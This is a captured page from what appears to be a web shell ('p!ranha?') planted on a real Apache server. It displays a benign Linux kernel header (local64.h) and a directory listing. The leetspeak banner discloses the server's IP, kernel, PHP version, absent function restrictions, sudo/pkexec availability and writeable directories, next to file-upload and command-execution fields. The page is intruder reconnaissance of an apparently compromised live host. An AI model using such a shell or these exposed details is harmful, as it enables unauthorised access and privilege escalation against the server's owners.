p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/include/asm-generic/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/include/asm-generic/local64.h
#ifndef _ASM_GENERIC_LOCAL64_H
#define _ASM_GENERIC_LOCAL64_H

#include <linux/percpu.h>
#include <asm/types.h>

/*
 * A signed long type for operations which are atomic for a single CPU.
 * Usually used in combination with per-cpu variables.
 *
 * This is the default implementation, which uses atomic64_t.  Which is
 * rather pointless.  The whole point behind local64_t is that some processors
 * can perform atomic adds and subtracts in a manner which is atomic wrt IRQs
 * running on this CPU.  local64_t allows exploitation of such capabilities.
 */

/* Implement in terms of atomics. */

#if BITS_PER_LONG == 64

#include <asm/local.h>

typedef struct {
	local_t a;
} local64_t;

#define LOCAL64_INIT(i)	{ LOCAL_INIT(i) }

#define local64_read(l)		local_read(&(l)->a)
#define local64_set(l,i)	local_set((&(l)->a),(i))
#define local64_inc(l)		local_inc(&(l)->a)
#define local64_dec(l)		local_dec(&(l)->a)
#define local64_add(i,l)	local_add((i),(&(l)->a))
#define local64_sub(i,l)	local_sub((i),(&(l)->a))

#define local64_sub_and_test(i, l) local_sub_and_test((i), (&(l)->a))
#define local64_dec_and_test(l) local_dec_and_test(&(l)->a)
#define local64_inc_and_test(l) local_inc_and_test(&(l)->a)
#define local64_add_negative(i, l) local_add_negative((i), (&(l)->a))
#define local64_add_return(i, l) local_add_return((i), (&(l)->a))
#define local64_sub_return(i, l) local_sub_return((i), (&(l)->a))
#define local64_inc_return(l)	local_inc_return(&(l)->a)

#define local64_cmpxchg(l, o, n) local_cmpxchg((&(l)->a), (o), (n))
#define local64_xchg(l, n)	local_xchg((&(l)->a), (n))
#define local64_add_unless(l, _a, u) local_add_unless((&(l)->a), (_a), (u))
#define local64_inc_not_zero(l)	local_inc_not_zero(&(l)->a)

/* Non-atomic variants, ie. preemption disabled and won't be touched
 * in interrupt, etc.  Some archs can optimize this case well. */
#define __local64_inc(l)	local64_set((l), local64_read(l) + 1)
#define __local64_dec(l)	local64_set((l), local64_read(l) - 1)
#define __local64_add(i,l)	local64_set((l), local64_read(l) + (i))
#define __local64_sub(i,l)	local64_set((l), local64_read(l) - (i))

#else /* BITS_PER_LONG != 64 */

#include <linux/atomic.h>

/* Don't use typedef: don't want them to be mixed with atomic_t's. */
typedef struct {
	atomic64_t a;
} local64_t;

#define LOCAL64_INIT(i)	{ ATOMIC_LONG_INIT(i) }

#define local64_read(l)		atomic64_read(&(l)->a)
#define local64_set(l,i)	atomic64_set((&(l)->a),(i))
#define local64_inc(l)		atomic64_inc(&(l)->a)
#define local64_dec(l)		atomic64_dec(&(l)->a)
#define local64_add(i,l)	atomic64_add((i),(&(l)->a))
#define local64_sub(i,l)	atomic64_sub((i),(&(l)->a))

#define local64_sub_and_test(i, l) atomic64_sub_and_test((i), (&(l)->a))
#define local64_dec_and_test(l) atomic64_dec_and_test(&(l)->a)
#define local64_inc_and_test(l) atomic64_inc_and_test(&(l)->a)
#define local64_add_negative(i, l) atomic64_add_negative((i), (&(l)->a))
#define local64_add_return(i, l) atomic64_add_return((i), (&(l)->a))
#define local64_sub_return(i, l) atomic64_sub_return((i), (&(l)->a))
#define local64_inc_return(l)	atomic64_inc_return(&(l)->a)

#define local64_cmpxchg(l, o, n) atomic64_cmpxchg((&(l)->a), (o), (n))
#define local64_xchg(l, n)	atomic64_xchg((&(l)->a), (n))
#define local64_add_unless(l, _a, u) atomic64_add_unless((&(l)->a), (_a), (u))
#define local64_inc_not_zero(l)	atomic64_inc_not_zero(&(l)->a)

/* Non-atomic variants, ie. preemption disabled and won't be touched
 * in interrupt, etc.  Some archs can optimize this case well. */
#define __local64_inc(l)	local64_set((l), local64_read(l) + 1)
#define __local64_dec(l)	local64_set((l), local64_read(l) - 1)
#define __local64_add(i,l)	local64_set((l), local64_read(l) + (i))
#define __local64_sub(i,l)	local64_set((l), local64_read(l) - (i))

#endif /* BITS_PER_LONG != 64 */

#endif /* _ASM_GENERIC_LOCAL64_H */
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 19 2024 08:12:51
0 / 0
0755
bitops
--
January 19 2024 08:12:48
0 / 0
0755
4level-fixup.h
1.004 KB
November 06 2023 09:15:52
0 / 0
0644
Kbuild.asm
0.043 KB
November 06 2023 09:15:52
0 / 0
0644
atomic-long.h
5.121 KB
November 06 2023 09:15:52
0 / 0
0644
atomic.h
4.346 KB
November 06 2023 09:15:52
0 / 0
0644
atomic64.h
1.797 KB
November 06 2023 09:15:52
0 / 0
0644
audit_change_attr.h
0.409 KB
November 06 2023 09:15:52
0 / 0
0644
audit_dir_write.h
0.45 KB
November 06 2023 09:15:52
0 / 0
0644
audit_read.h
0.197 KB
November 06 2023 09:15:52
0 / 0
0644
audit_signal.h
0.035 KB
November 06 2023 09:15:52
0 / 0
0644
audit_write.h
0.32 KB
November 06 2023 09:15:52
0 / 0
0644
barrier.h
2.486 KB
November 06 2023 09:15:52
0 / 0
0644
bitops.h
1.055 KB
November 06 2023 09:15:52
0 / 0
0644
bitsperlong.h
0.54 KB
November 06 2023 09:15:52
0 / 0
0644
bug.h
5.729 KB
November 06 2023 09:15:52
0 / 0
0644
bugs.h
0.223 KB
November 06 2023 09:15:52
0 / 0
0644
cache.h
0.337 KB
November 06 2023 09:15:52
0 / 0
0644
cacheflush.h
1.271 KB
November 06 2023 09:15:52
0 / 0
0644
checksum.h
2.236 KB
November 06 2023 09:15:52
0 / 0
0644
clkdev.h
0.657 KB
November 06 2023 09:15:52
0 / 0
0644
cmpxchg-local.h
1.38 KB
November 06 2023 09:15:52
0 / 0
0644
cmpxchg.h
2.311 KB
November 06 2023 09:15:52
0 / 0
0644
cputime.h
0.286 KB
November 06 2023 09:15:52
0 / 0
0644
cputime_jiffies.h
2.076 KB
November 06 2023 09:15:52
0 / 0
0644
cputime_nsecs.h
3.055 KB
November 06 2023 09:15:52
0 / 0
0644
current.h
0.212 KB
November 06 2023 09:15:52
0 / 0
0644
delay.h
1.092 KB
November 06 2023 09:15:52
0 / 0
0644
device.h
0.239 KB
November 06 2023 09:15:52
0 / 0
0644
div64.h
1.339 KB
November 06 2023 09:15:52
0 / 0
0644
dma-coherent.h
1.03 KB
November 06 2023 09:15:52
0 / 0
0644
dma.h
0.502 KB
November 06 2023 09:15:52
0 / 0
0644
emergency-restart.h
0.204 KB
November 06 2023 09:15:52
0 / 0
0644
exec.h
0.681 KB
November 06 2023 09:15:52
0 / 0
0644
fb.h
0.227 KB
November 06 2023 09:15:52
0 / 0
0644
ftrace.h
0.449 KB
November 06 2023 09:15:52
0 / 0
0644
futex.h
1.247 KB
November 06 2023 09:15:52
0 / 0
0644
getorder.h
1.414 KB
November 06 2023 09:15:52
0 / 0
0644
gpio.h
5.821 KB
November 06 2023 09:15:52
0 / 0
0644
hardirq.h
0.481 KB
November 06 2023 09:15:52
0 / 0
0644
hugetlb.h
0.74 KB
November 06 2023 09:15:52
0 / 0
0644
hw_irq.h
0.264 KB
November 06 2023 09:15:52
0 / 0
0644
ide_iops.h
0.734 KB
November 06 2023 09:15:52
0 / 0
0644
int-l64.h
0.851 KB
November 06 2023 09:15:52
0 / 0
0644
int-ll64.h
0.872 KB
November 06 2023 09:15:52
0 / 0
0644
io-64-nonatomic-hi-lo.h
0.59 KB
November 06 2023 09:15:52
0 / 0
0644
io-64-nonatomic-lo-hi.h
0.59 KB
November 06 2023 09:15:52
0 / 0
0644
io.h
19.255 KB
November 06 2023 09:15:52
0 / 0
0644
ioctl.h
0.387 KB
November 06 2023 09:15:52
0 / 0
0644
iomap.h
2.832 KB
November 06 2023 09:15:52
0 / 0
0644
irq.h
0.355 KB
November 06 2023 09:15:52
0 / 0
0644
irq_regs.h
0.957 KB
November 06 2023 09:15:52
0 / 0
0644
irq_work.h
0.15 KB
November 06 2023 09:15:52
0 / 0
0644
irqflags.h
1.469 KB
November 06 2023 09:15:52
0 / 0
0644
kdebug.h
0.14 KB
November 06 2023 09:15:52
0 / 0
0644
kexec.h
0.33 KB
November 06 2023 09:15:52
0 / 0
0644
kmap_types.h
0.155 KB
November 06 2023 09:15:52
0 / 0
0644
kvm_para.h
0.431 KB
November 06 2023 09:15:52
0 / 0
0644
libata-portmap.h
0.149 KB
November 06 2023 09:15:52
0 / 0
0644
linkage.h
0.22 KB
November 06 2023 09:15:52
0 / 0
0644
local.h
2.19 KB
November 06 2023 09:15:52
0 / 0
0644
local64.h
3.758 KB
November 06 2023 09:15:52
0 / 0
0644
memory_model.h
2.12 KB
November 06 2023 09:15:52
0 / 0
0644
mm-arch-hooks.h
0.379 KB
November 06 2023 09:15:52
0 / 0
0644
mm_hooks.h
0.938 KB
November 06 2023 09:15:52
0 / 0
0644
mmu.h
0.4 KB
November 06 2023 09:15:52
0 / 0
0644
mmu_context.h
0.915 KB
November 06 2023 09:15:52
0 / 0
0644
module.h
1.054 KB
November 06 2023 09:15:52
0 / 0
0644
mutex-dec.h
2.695 KB
November 06 2023 09:15:52
0 / 0
0644
mutex-null.h
0.633 KB
November 06 2023 09:15:52
0 / 0
0644
mutex-xchg.h
3.722 KB
November 06 2023 09:15:52
0 / 0
0644
mutex.h
0.25 KB
November 06 2023 09:15:52
0 / 0
0644
page.h
2.466 KB
November 06 2023 09:15:52
0 / 0
0644
param.h
0.32 KB
November 06 2023 09:15:52
0 / 0
0644
parport.h
0.552 KB
November 06 2023 09:15:52
0 / 0
0644
pci-dma-compat.h
0 KB
November 06 2023 09:15:52
0 / 0
0644
pci.h
0.529 KB
November 06 2023 09:15:52
0 / 0
0644
pci_iomap.h
1.496 KB
November 06 2023 09:15:52
0 / 0
0644
percpu.h
3.17 KB
November 06 2023 09:15:52
0 / 0
0644
pgalloc.h
0.296 KB
November 06 2023 09:15:52
0 / 0
0644
pgtable-nopmd.h
1.858 KB
November 06 2023 09:15:52
0 / 0
0644
pgtable-nopud.h
1.779 KB
November 06 2023 09:15:52
0 / 0
0644
pgtable.h
24.551 KB
November 06 2023 09:15:52
0 / 0
0644
ptrace.h
1.577 KB
November 06 2023 09:15:52
0 / 0
0644
qrwlock.h
5.279 KB
November 06 2023 09:15:52
0 / 0
0644
qrwlock_remap.h
1.495 KB
November 06 2023 09:15:52
0 / 0
0644
qrwlock_types.h
0.413 KB
November 06 2023 09:15:52
0 / 0
0644
qspinlock.h
4.218 KB
November 06 2023 09:15:52
0 / 0
0644
qspinlock_types.h
2.763 KB
November 06 2023 09:15:52
0 / 0
0644
resource.h
1.036 KB
November 06 2023 09:15:52
0 / 0
0644
rtc.h
5.334 KB
November 06 2023 09:15:52
0 / 0
0644
rwsem.h
2.521 KB
November 06 2023 09:15:52
0 / 0
0644
scatterlist.h
0.771 KB
November 06 2023 09:15:52
0 / 0
0644
sections.h
3.471 KB
November 06 2023 09:15:52
0 / 0
0644
segment.h
0.243 KB
November 06 2023 09:15:52
0 / 0
0644
serial.h
0.299 KB
November 06 2023 09:15:52
0 / 0
0644
siginfo.h
0.89 KB
November 06 2023 09:15:52
0 / 0
0644
signal.h
0.263 KB
November 06 2023 09:15:52
0 / 0
0644
sizes.h
0.076 KB
November 06 2023 09:15:52
0 / 0
0644
spinlock.h
0.283 KB
November 06 2023 09:15:52
0 / 0
0644
statfs.h
0.127 KB
November 06 2023 09:15:52
0 / 0
0644
string.h
0.274 KB
November 06 2023 09:15:52
0 / 0
0644
switch_to.h
0.969 KB
November 06 2023 09:15:52
0 / 0
0644
syscall.h
6.179 KB
November 06 2023 09:15:52
0 / 0
0644
syscalls.h
0.684 KB
November 06 2023 09:15:52
0 / 0
0644
termios-base.h
2.073 KB
November 06 2023 09:15:52
0 / 0
0644
termios.h
2.77 KB
November 06 2023 09:15:52
0 / 0
0644
timex.h
0.458 KB
November 06 2023 09:15:52
0 / 0
0644
tlb.h
6.997 KB
November 06 2023 09:15:52
0 / 0
0644
tlbflush.h
0.436 KB
November 06 2023 09:15:52
0 / 0
0644
topology.h
2.112 KB
November 06 2023 09:15:52
0 / 0
0644
trace_clock.h
0.344 KB
November 06 2023 09:15:52
0 / 0
0644
uaccess-unaligned.h
0.716 KB
November 06 2023 09:15:52
0 / 0
0644
uaccess.h
7.635 KB
November 06 2023 09:15:52
0 / 0
0644
unaligned.h
0.886 KB
November 06 2023 09:15:52
0 / 0
0644
unistd.h
0.272 KB
November 06 2023 09:15:52
0 / 0
0644
user.h
0.236 KB
November 06 2023 09:15:52
0 / 0
0644
vga.h
0.535 KB
November 06 2023 09:15:52
0 / 0
0644
vmlinux.lds.h
26.37 KB
November 06 2023 09:15:52
0 / 0
0644
vtime.h
0 KB
November 06 2023 09:15:52
0 / 0
0644
word-at-a-time.h
1.161 KB
November 06 2023 09:15:52
0 / 0
0644
xor.h
13.634 KB
November 06 2023 09:15:52
0 / 0
0644